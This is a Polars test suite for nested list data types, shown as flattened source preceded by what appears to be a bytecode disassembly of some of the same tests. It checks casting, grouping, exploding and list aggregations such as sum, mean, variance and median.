CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD new_from_index LOAD_CONST 0 LOAD_CONST 2 CALL_METHOD STORE_FAST s LOAD_FAST s LOAD_ATTR dtype LOAD_FAST dtype COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD to_list CALL_METHOD BUILD_LIST BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL datetime LOAD_CONST 2000 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION BUILD_LIST BUILD_LIST STORE_FAST values LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_METHOD Datetime LOAD_CONST 'ns' CALL_METHOD CALL_METHOD STORE_FAST dtype LOAD_GLOBAL pl LOAD_METHOD Series LOAD_FAST values CALL_METHOD STORE_FAST s LOAD_FAST s LOAD_METHOD cast LOAD_FAST dtype CALL_METHOD STORE_FAST out LOAD_FAST out LOAD_ATTR dtype LOAD_FAST dtype COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST out LOAD_METHOD to_list CALL_METHOD LOAD_FAST values COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Categorical CALL_METHOD STORE_FAST expected LOAD_GLOBAL pl LOAD_ATTR Series BUILD_LIST BUILD_LIST LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Null CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_METHOD cast LOAD_FAST expected CALL_METHOD STORE_FAST s LOAD_FAST s LOAD_ATTR dtype LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD to_list CALL_METHOD BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_ATTR DataFrame LOAD_CONST 'a' LOAD_CONST None BUILD_MAP BUILD_LIST LOAD_CONST 'a' LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Int64 CALL_METHOD BUILD_MAP LOAD_CONST ('schema',) CALL_FUNCTION STORE_FAST df LOAD_GLOBAL assert_frame_equal LOAD_FAST df LOAD_GLOBAL pickle LOAD_METHOD loads LOAD_GLOBAL pickle LOAD_METHOD dumps LOAD_FAST df CALL_METHOD CALL_METHOD CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST ('a', 'b') BUILD_CONST_KEY_MAP BUILD_LIST LOAD_CONST 3 LOAD_CONST None LOAD_CONST ('c', 'd') BUILD_CONST_KEY_MAP BUILD_LIST BUILD_LIST CALL_METHOD STORE_FAST df LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD concat_list LOAD_GLOBAL pl LOAD_METHOD all CALL_METHOD CALL_METHOD LOAD_METHOD alias LOAD_CONST 'as_list' CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'as_list' LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST None LOAD_CONST None LOAD_CONST ('a', 'b', 'c', 'd') BUILD_CONST_KEY_MAP LOAD_CONST None LOAD_CONST None LOAD_CONST 3 LOAD_CONST None LOAD_CONST ('a', 'b', 'c', 'd') BUILD_CONST_KEY_MAP BUILD_LIST BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_CONST 1 BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_CONST 2 BUILD_LIST BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 1 LOAD_CONST 3 BUILD_LIST LOAD_CONST 4 BUILD_LIST BUILD_LIST LOAD_CONST ('a', 'b') BUILD_CONST_KEY_MAP CALL_METHOD LOAD_METHOD explode LOAD_CONST 'a' CALL_METHOD LOAD_METHOD group_by LOAD_CONST 'a' CALL_METHOD LOAD_METHOD agg LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'b' CALL_METHOD LOAD_METHOD flatten CALL_METHOD CALL_METHOD LOAD_METHOD with_columns LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'b' CALL_METHOD LOAD_ATTR list LOAD_METHOD unique CALL_METHOD CALL_METHOD LOAD_METHOD sort LOAD_CONST 'a' CALL_METHOD STORE_FAST out LOAD_FAST out LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 4 BUILD_LIST BUILD_LIST LOAD_CONST ('a', 'b') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_ATTR DataFrame LOAD_CONST 'foo' BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST ('date', 'struct') BUILD_CONST_KEY_MAP LOAD_CONST 'struct' LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_METHOD Struct LOAD_CONST 'field' LOAD_GLOBAL pl LOAD_METHOD Struct LOAD_CONST 'subfield' LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_METHOD Struct LOAD_CONST 'subsubfield' LOAD_GLOBAL pl LOAD_ATTR Date BUILD_MAP CALL_METHOD CALL_METHOD BUILD_MAP CALL_METHOD BUILD_MAP CALL_METHOD CALL_METHOD BUILD_MAP LOAD_CONST ('schema_overrides',) CALL_FUNCTION STORE_FAST df LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'struct' CALL_METHOD LOAD_METHOD gather LOAD_CONST 0 CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST 'struct' BUILD_LIST BUILD_LIST BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST dtype LOAD_METHOD is_nested CALL_METHOD LOAD_FAST expected COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 3.3 LOAD_CONST 4.9 BUILD_LIST BUILD_LIST LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Float64 CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD to_list CALL_METHOD LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 3.3 LOAD_CONST 4.9 BUILD_LIST BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 3.0 LOAD_CONST 4.0 BUILD_LIST BUILD_LIST LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Float64 CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST s1 LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST LOAD_CONST 3.0 LOAD_CONST 4.9 BUILD_LIST BUILD_LIST LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Float64 CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST s2 LOAD_GLOBAL assert_series_equal LOAD_FAST s1 LOAD_FAST s2 COMPARE_OP == LOAD_GLOBAL pl LOAD_METHOD Series LOAD_CONST True LOAD_CONST False BUILD_LIST CALL_METHOD CALL_FUNCTION POP_TOP LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'groups' LOAD_CONST 'A' LOAD_CONST None LOAD_CONST ('1', '2') BUILD_CONST_KEY_MAP BUILD_LIST LOAD_CONST 'B' LOAD_CONST 'C' LOAD_CONST ('1', '2') BUILD_CONST_KEY_MAP LOAD_CONST 'D' LOAD_CONST 'E' LOAD_CONST ('1', '2') BUILD_CONST_KEY_MAP BUILD_LIST BUILD_LIST LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_METHOD Struct LOAD_GLOBAL pl LOAD_METHOD Field LOAD_CONST '1' LOAD_GLOBAL pl LOAD_ATTR String CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD Field LOAD_CONST '2' LOAD_GLOBAL pl LOAD_ATTR String CALL_METHOD BUILD_LIST CALL_METHOD CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST s LOAD_FAST s LOAD_METHOD to_list CALL_METHOD LOAD_CONST 'A' LOAD_CONST None LOAD_CONST ('1', '2') BUILD_CONST_KEY_MAP BUILD_LIST LOAD_CONST 'B' LOAD_CONST 'C' LOAD_CONST ('1', '2') BUILD_CONST_KEY_MAP LOAD_CONST 'D' LOAD_CONST 'E' LOAD_CONST ('1', '2') BUILD_CONST_KEY_MAP BUILD_LIST BUILD_LIST COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_ATTR select LOAD_GLOBAL pl LOAD_METHOD date LOAD_CONST 2000 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_CONST 0 LOAD_CONST ('timestamp', 'value') CALL_FUNCTION STORE_FAST df LOAD_FAST df LOAD_METHOD group_by LOAD_CONST True CALL_METHOD LOAD_METHOD agg LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'timestamp' CALL_METHOD LOAD_METHOD gather LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'value' CALL_METHOD LOAD_METHOD arg_max CALL_METHOD CALL_METHOD CALL_METHOD LOAD_ATTR to_dict LOAD_CONST False LOAD_CONST ('as_series',) CALL_FUNCTION LOAD_CONST True BUILD_LIST LOAD_GLOBAL date LOAD_CONST 2000 LOAD_CONST 1 LOAD_CONST 1 CALL_FUNCTION BUILD_LIST BUILD_LIST LOAD_CONST ('literal', 'timestamp') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pl LOAD_ATTR DataFrame LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 LOAD_CONST 4 LOAD_CONST 5 BUILD_LIST BUILD_LIST LOAD_CONST 1.0 LOAD_CONST 2.0 LOAD_CONST 3.0 LOAD_CONST 4.0 LOAD_CONST 5.0 BUILD_LIST BUILD_LIST LOAD_CONST 1000 LOAD_CONST 2000 LOAD_CONST 3000 LOAD_CONST 4000 LOAD_CONST 5000 BUILD_LIST BUILD_LIST LOAD_CONST ('int', 'float', 'duration') BUILD_CONST_KEY_MAP LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Int64 CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Float64 CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD List LOAD_GLOBAL pl LOAD_ATTR Duration CALL_METHOD LOAD_CONST ('int', 'float', 'duration') BUILD_CONST_KEY_MAP LOAD_CONST ('schema',) CALL_FUNCTION RETURN_VALUE LOAD_FAST data_dispersion STORE_FAST df LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'int' CALL_METHOD LOAD_ATTR list LOAD_METHOD var CALL_METHOD LOAD_ATTR name LOAD_METHOD suffix LOAD_CONST '_var' CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'float' CALL_METHOD LOAD_ATTR list LOAD_METHOD var CALL_METHOD LOAD_ATTR name LOAD_METHOD suffix LOAD_CONST '_var' CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'duration' CALL_METHOD LOAD_ATTR list LOAD_METHOD var CALL_METHOD LOAD_ATTR name LOAD_METHOD suffix LOAD_CONST '_var' CALL_METHOD CALL_METHOD STORE_FAST result LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'int_var' LOAD_CONST 2.5 BUILD_LIST LOAD_GLOBAL pl LOAD_ATTR Float64 LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'float_var' LOAD_CONST 2.5 BUILD_LIST LOAD_GLOBAL pl LOAD_ATTR Float64 LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'duration_var' LOAD_GLOBAL timedelta LOAD_CONST 2000 LOAD_CONST ('microseconds',) CALL_FUNCTION BUILD_LIST LOAD_GLOBAL pl LOAD_ATTR Duration LOAD_CONST 'ms' LOAD_CONST ('time_unit',) CALL_FUNCTION LOAD_CONST ('dtype',) CALL_FUNCTION BUILD_LIST CALL_METHOD STORE_FAST expected LOAD_GLOBAL assert_frame_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST data_dispersion STORE_FAST df LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'int' CALL_METHOD LOAD_ATTR list LOAD_METHOD std CALL_METHOD LOAD_ATTR name LOAD_METHOD suffix LOAD_CONST '_std' CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'float' CALL_METHOD LOAD_ATTR list LOAD_METHOD std CALL_METHOD LOAD_ATTR name LOAD_METHOD suffix LOAD_CONST '_std' CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'duration' CALL_METHOD LOAD_ATTR list LOAD_METHOD std CALL_METHOD LOAD_ATTR name LOAD_METHOD suffix LOAD_CONST '_std' CALL_METHOD CALL_METHOD STORE_FAST result LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'int_std' LOAD_CONST 1.5811388300841898 BUILD_LIST LOAD_GLOBAL pl LOAD_ATTR Float64 LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'float_std' LOAD_CONST 1.5811388300841898 BUILD_LIST LOAD_GLOBAL pl LOAD_ATTR Float64 LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'duration_std' LOAD_GLOBAL timedelta LOAD_CONST 1581 LOAD_CONST ('microseconds',) CALL_FUNCTION BUILD_LIST LOAD_GLOBAL pl LOAD_ATTR Duration LOAD_CONST 'us' LOAD_CONST ('time_unit',) CALL_FUNCTION LOAD_CONST ('dtype',) CALL_FUNCTION BUILD_LIST CALL_METHOD STORE_FAST expected LOAD_GLOBAL assert_frame_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST data_dispersion STORE_FAST df LOAD_FAST df LOAD_METHOD select LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'int' CALL_METHOD LOAD_ATTR list LOAD_METHOD median CALL_METHOD LOAD_ATTR name LOAD_METHOD suffix LOAD_CONST '_median' CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'float' CALL_METHOD LOAD_ATTR list LOAD_METHOD median CALL_METHOD LOAD_ATTR name LOAD_METHOD suffix LOAD_CONST '_median' CALL_METHOD LOAD_GLOBAL pl LOAD_METHOD col LOAD_CONST 'duration' CALL_METHOD LOAD_ATTR list LOAD_METHOD median CALL_METHOD LOAD_ATTR name LOAD_METHOD suffix LOAD_CONST '_median' CALL_METHOD CALL_METHOD STORE_FAST result LOAD_GLOBAL pl LOAD_METHOD DataFrame LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'int_median' LOAD_CONST 3.0 BUILD_LIST LOAD_GLOBAL pl LOAD_ATTR Float64 LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'float_median' LOAD_CONST 3.0 BUILD_LIST LOAD_GLOBAL pl LOAD_ATTR Float64 LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pl LOAD_ATTR Series LOAD_CONST 'duration_median' LOAD_GLOBAL timedelta LOAD_CONST 3000 LOAD_CONST ('microseconds',) CALL_FUNCTION BUILD_LIST LOAD_GLOBAL pl LOAD_ATTR Duration LOAD_CONST 'us' LOAD_CONST ('time_unit',) CALL_FUNCTION LOAD_CONST ('dtype',) CALL_FUNCTION BUILD_LIST CALL_METHOD STORE_FAST expected LOAD_GLOBAL assert_frame_equal LOAD_FAST result LOAD_FAST expected CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
from __future__ import annotations import pickle from datetime import date, datetime, time, timedelta from decimal import Decimal from typing import TYPE_CHECKING, Any import pandas as pd import pytest import polars as pl from polars.testing import assert_frame_equal, assert_series_equal if TYPE_CHECKING: from polars import PolarsDataType def test_dtype() -> None: a = pl.Series("a", [[1, 2, 3], [2, 5], [6, 7, 8, 9]]) assert a.dtype == pl.List assert a.dtype.inner == pl.Int64 # type: ignore[attr-defined] assert a.dtype.is_(pl.List(pl.Int64)) df = pl.DataFrame( data={ "i": [[1, 2, 3]], "tm": [[time(10, 30, 45)]], "dt": [[date(2022, 12, 31)]], "dtm": [[datetime(2022, 12, 31, 1, 2, 3)]], }, schema=[ ("i", pl.List(pl.Int8)), ("tm", pl.List(pl.Time)), ("dt", pl.List(pl.Date)), ("dtm", pl.List(pl.Datetime)), ], ) assert df.schema == { "i": pl.List(pl.Int8), "tm": pl.List(pl.Time), "dt": pl.List(pl.Date), "dtm": pl.List(pl.Datetime), } assert all(tp.is_nested() for tp in df.dtypes) assert df.schema["i"].inner == pl.Int8 # type: ignore[attr-defined] assert df.rows() == [ ( [1, 2, 3], [time(10, 30, 45)], [date(2022, 12, 31)], [datetime(2022, 12, 31, 1, 2, 3)], ) ] def test_categorical() -> None: df = pl.DataFrame( [ pl.Series("a", [1, 1, 1, 1, 1, 1, 1, 1]), pl.Series("b", [8, 2, 3, 6, 3, 6, 2, 2]), pl.Series("c", ["a", "b", "c", "a", "b", "c", "a", "b"]).cast( pl.Categorical ), ] ) out = ( df.group_by(["a", "b"]) .agg( pl.col("c").count().alias("num_different_c"), pl.col("c").alias("c_values"), ) .filter(pl.col("num_different_c") >= 2) .to_series(3) ) assert out.dtype.inner == pl.Categorical # type: ignore[attr-defined] assert out.dtype.inner.is_nested() is False # type: ignore[attr-defined] def test_decimal() -> None: input = [[Decimal("1.23"), Decimal("4.56")], [Decimal("7.89"), Decimal("10.11")]] s = pl.Series(input) assert s.dtype == pl.List(pl.Decimal) assert s.dtype.inner == pl.Decimal # type: ignore[attr-defined] assert s.dtype.inner.is_nested() is False # type: ignore[attr-defined] assert s.to_list() == input def test_cast_inner() -> None: a = pl.Series([[1, 2]]) for t in [bool, pl.Boolean]: b = a.cast(pl.List(t)) assert b.dtype == pl.List(pl.Boolean) assert b.to_list() == [[True, True]] df = pl.from_pandas(pd.DataFrame(data=[[[]], [[]]], columns=["A"])) assert ( df["A"].cast(pl.List(int)).dtype.inner == pl.Int64 # type: ignore[attr-defined] ) def test_list_empty_group_by_result_3521() -> None: left = pl.DataFrame().with_columns( [ pl.lit(1).alias("group_by_column"), pl.lit(None).cast(pl.Int32).alias("join_column"), ] ) right = pl.DataFrame().with_columns( [ pl.lit(1).alias("join_column"), pl.lit(1).alias("n_unique_column"), ] ) assert ( left.join(right, on="join_column", how="left") .group_by("group_by_column") .agg(pl.col("n_unique_column").drop_nulls()) ).to_dict(as_series=False) == {"group_by_column": [1], "n_unique_column": [[]]} def test_list_fill_null() -> None: df = pl.DataFrame({"C": [["a", "b", "c"], [], [], ["d", "e"]]}) assert df.with_columns( [ pl.when(pl.col("C").list.len() == 0) .then(None) .otherwise(pl.col("C")) .alias("C") ] ).to_series().to_list() == [["a", "b", "c"], None, None, ["d", "e"]] def test_list_fill_list() -> None: assert pl.DataFrame({"a": [[1, 2, 3], []]}).select( [ pl.when(pl.col("a").list.len() == 0) .then([5]) .otherwise(pl.col("a")) .alias("filled") ] ).to_dict(as_series=False) == {"filled": [[1, 2, 3], [5]]} def test_empty_list_construction() -> None: assert pl.Series([[]]).to_list() == [[]] df = pl.DataFrame([{"array": [], "not_array": 1234}], orient="row") expected = {"array": [[]], "not_array": [1234]} assert df.to_dict(as_series=False) == expected df = pl.DataFrame(schema=[("col", pl.List)]) assert df.schema == {"col": pl.List} assert df.rows() == [] def test_list_hash() -> None: out = pl.DataFrame({"a": [[1, 2, 3], [3, 4], [1, 2, 3]]}).with_columns( pl.col("a").hash().alias("b") ) assert out.dtypes == [pl.List(pl.Int64), pl.UInt64] assert out[0, "b"] == out[2, "b"] def test_list_diagonal_concat() -> None: df1 = pl.DataFrame({"a": [1, 2]}) df2 = pl.DataFrame({"b": [[1]]}) assert pl.concat([df1, df2], how="diagonal").to_dict(as_series=False) == { "a": [1, 2, None], "b": [None, None, [1]], } def test_inner_type_categorical_on_rechunk() -> None: df = pl.DataFrame({"cats": ["foo", "bar"]}).select( pl.col(pl.String).cast(pl.Categorical).implode() ) assert pl.concat([df, df], rechunk=True).dtypes == [pl.List(pl.Categorical)] def test_local_categorical_list() -> None: values = [["a", "b"], ["c"], ["a", "d", "d"]] s = pl.Series(values, dtype=pl.List(pl.Categorical)) assert s.dtype == pl.List assert s.dtype.inner == pl.Categorical # type: ignore[attr-defined] assert s.to_list() == values idx_df = pl.Series([[0, 1], [2], [0, 3, 3]], dtype=pl.List(pl.UInt32)) assert_series_equal(s.cast(pl.List(pl.UInt32)), idx_df) assert s.list.explode().cat.get_categories().to_list() == ["a", "b", "c", "d"] def test_group_by_list_column() -> None: df = ( pl.DataFrame({"a": ["a", "b", "a"]}) .with_columns(pl.col("a").cast(pl.Categorical)) .group_by("a", maintain_order=True) .agg(pl.col("a").alias("a_list")) ) assert df.group_by("a_list", maintain_order=True).first().to_dict( as_series=False ) == { "a_list": [["a", "a"], ["b"]], "a": ["a", "b"], } def test_group_by_multiple_keys_contains_list_column() -> None: df = ( pl.DataFrame( { "a": ["x", "x", "y", "y"], "b": [[1, 2], [1, 2], [3, 4, 5], [6]], "c": [3, 2, 1, 0], } ) .group_by(["a", "b"], maintain_order=True) .agg(pl.all()) ) assert df.to_dict(as_series=False) == { "a": ["x", "y", "y"], "b": [[1, 2], [3, 4, 5], [6]], "c": [[3, 2], [1], [0]], } def test_fast_explode_flag() -> None: df1 = pl.DataFrame({"values": [[[1, 2]]]}) assert df1.clone().vstack(df1)["values"].flags["FAST_EXPLODE"] df = pl.DataFrame({"a": [1, 2, 1, 3]}) df_b = pl.DataFrame({"a": [1, 2], "c": [["1", "2", "c"], ["1", "2", "c"]]}) assert df_b["c"].flags["FAST_EXPLODE"] assert not (df.join(df_b, on=["a"], how="left").select(["c"]))["c"].flags[ "FAST_EXPLODE" ] def test_fast_explode_on_list_struct_6208() -> None: data = [ { "label": "l", "tag": "t", "ref": 1, "parents": [{"ref": 1, "tag": "t", "ratio": 62.3}], }, {"label": "l", "tag": "t", "ref": 1, "parents": None}, ] df = pl.DataFrame( data, schema={ "label": pl.String, "tag": pl.String, "ref": pl.Int64, "parents": pl.List( pl.Struct({"ref": pl.Int64, "tag": pl.String, "ratio": pl.Float64}) ), }, ) assert not df["parents"].flags["FAST_EXPLODE"] assert df.explode("parents").to_dict(as_series=False) == { "label": ["l", "l"], "tag": ["t", "t"], "ref": [1, 1], "parents": [ {"ref": 1, "tag": "t", "ratio": 62.3}, {"ref": None, "tag": None, "ratio": None}, ], } def test_flat_aggregation_to_list_conversion_6918() -> None: df = pl.DataFrame({"a": [1, 2, 2], "b": [[0, 1], [2, 3], [4, 5]]}) assert df.group_by("a", maintain_order=True).agg( pl.concat_list([pl.col("b").list.get(i).mean().implode() for i in range(2)]) ).to_dict(as_series=False) == {"a": [1, 2], "b": [[[0.0, 1.0]], [[3.0, 4.0]]]} def test_list_count_matches_deprecated() -> None: df = pl.DataFrame({"listcol": [[], [1], [1, 2, 3, 2], [1, 2, 1], [4, 4]]}) with pytest.deprecated_call(): result = df.select( pl.col("listcol").list.count_match(2).alias("number_of_twos") ) expected = {"number_of_twos": [0, 0, 2, 1, 0]} assert result.to_dict(as_series=False) == expected def test_list_count_matches() -> None: assert pl.DataFrame({"listcol": [[], [1], [1, 2, 3, 2], [1, 2, 1], [4, 4]]}).select( pl.col("listcol").list.count_matches(2).alias("number_of_twos") ).to_dict(as_series=False) == {"number_of_twos": [0, 0, 2, 1, 0]} def test_list_sum_and_dtypes() -> None: for dt_in, dt_out in [ (pl.Int8, pl.Int64), (pl.Int16, pl.Int64), (pl.Int32, pl.Int32), (pl.Int64, pl.Int64), (pl.UInt8, pl.Int64), (pl.UInt16, pl.Int64), (pl.UInt32, pl.UInt32), (pl.UInt64, pl.UInt64), ]: df = pl.DataFrame( {"a": [[1], [1, 2, 3], [1, 2, 3, 4], [1, 2, 3, 4, 5]]}, schema={"a": pl.List(dt_in)}, ) summed = df.explode("a").sum() assert summed.dtypes == [dt_out] assert summed.item() == 32 assert df.select(pl.col("a").list.sum()).dtypes == [dt_out] assert df.select(pl.col("a").list.sum()).to_dict(as_series=False) == { "a": [1, 6, 10, 15] } assert pl.DataFrame( {"a": [[1], [1, 2, 3], [1, 2, 3, 4], [1, 2, 3, 4, 5], None]} ).select(pl.col("a").list.sum()).to_dict(as_series=False) == { "a": [1, 6, 10, 15, None] } assert pl.DataFrame( {"a": [[True], [True, True], [True, False, True], [True, True, True, None]]}, ).select(pl.col("a").list.sum()).to_dict(as_series=False) == {"a": [1, 2, 2, 3]} assert pl.DataFrame( {"a": [[False], [False, False], [False, False, False]]}, ).select(pl.col("a").list.sum()).to_dict(as_series=False) == {"a": [0, 0, 0]} assert pl.DataFrame( {"a": [[True], [True, True], [True, True, True]]}, ).select( pl.col("a").list.sum() ).to_dict(as_series=False) == {"a": [1, 2, 3]} def test_list_mean() -> None: assert pl.DataFrame({"a": [[1], [1, 2, 3], [1, 2, 3, 4], [1, 2, 3, 4, 5]]}).select( pl.col("a").list.mean() ).to_dict(as_series=False) == {"a": [1.0, 2.0, 2.5, 3.0]} assert pl.DataFrame({"a": [[1], [1, 2, 3], [1, 2, 3, 4], None]}).select( pl.col("a").list.mean() ).to_dict(as_series=False) == {"a": [1.0, 2.0, 2.5, None]} def test_list_all() -> None: assert pl.DataFrame( { "a": [ [True], [False], [True, True], [True, False], [False, False], [None], [], ] } ).select(pl.col("a").list.all()).to_dict(as_series=False) == { "a": [True, False, True, False, False, True, True] } def test_list_any() -> None: assert pl.DataFrame( { "a": [ [True], [False], [True, True], [True, False], [False, False], [None], [], ] } ).select(pl.col("a").list.any()).to_dict(as_series=False) == { "a": [True, False, True, True, False, False, False] } def test_list_min_max() -> None: for dt in pl.INTEGER_DTYPES | pl.FLOAT_DTYPES: df = pl.DataFrame( {"a": [[1], [1, 2, 3], [1, 2, 3, 4], [1, 2, 3, 4, 5]]}, schema={"a": pl.List(dt)}, ) result = df.select(pl.col("a").list.min()) expected = df.select(pl.col("a").list.first()) assert_frame_equal(result, expected) result = df.select(pl.col("a").list.max()) expected = df.select(pl.col("a").list.last()) assert_frame_equal(result, expected) df = pl.DataFrame( {"a": [[1], [1, 5, -1, 3], [1, 2, 3, 4], [1, 2, 3, 4, 5], None]}, ) assert df.select(pl.col("a").list.min()).to_dict(as_series=False) == { "a": [1, -1, 1, 1, None] } assert df.select(pl.col("a").list.max()).to_dict(as_series=False) == { "a": [1, 5, 4, 5, None] } def test_list_min_max_13978() -> None: df = pl.DataFrame( { "a": [[], [1, 2, 3]], "b": [[1, 2], None], "c": [[], [None, 1, 2]], } ) out = df.select( min_a=pl.col("a").list.min(), max_a=pl.col("a").list.max(), min_b=pl.col("b").list.min(), max_b=pl.col("b").list.max(), min_c=pl.col("c").list.min(), max_c=pl.col("c").list.max(), ) expected = pl.DataFrame( { "min_a": [None, 1], "max_a": [None, 3], "min_b": [1, None], "max_b": [2, None], "min_c": [None, 1], "max_c": [None, 2], } ) assert_frame_equal(out, expected) def test_fill_null_empty_list() -> None: assert pl.Series([["a"], None]).fill_null([]).to_list() == [["a"], []] def test_nested_logical() -> None: assert pl.select( pl.lit(pl.Series(["a", "b"], dtype=pl.Categorical)).implode().implode() ).to_dict(as_series=False) == {"": [[["a", 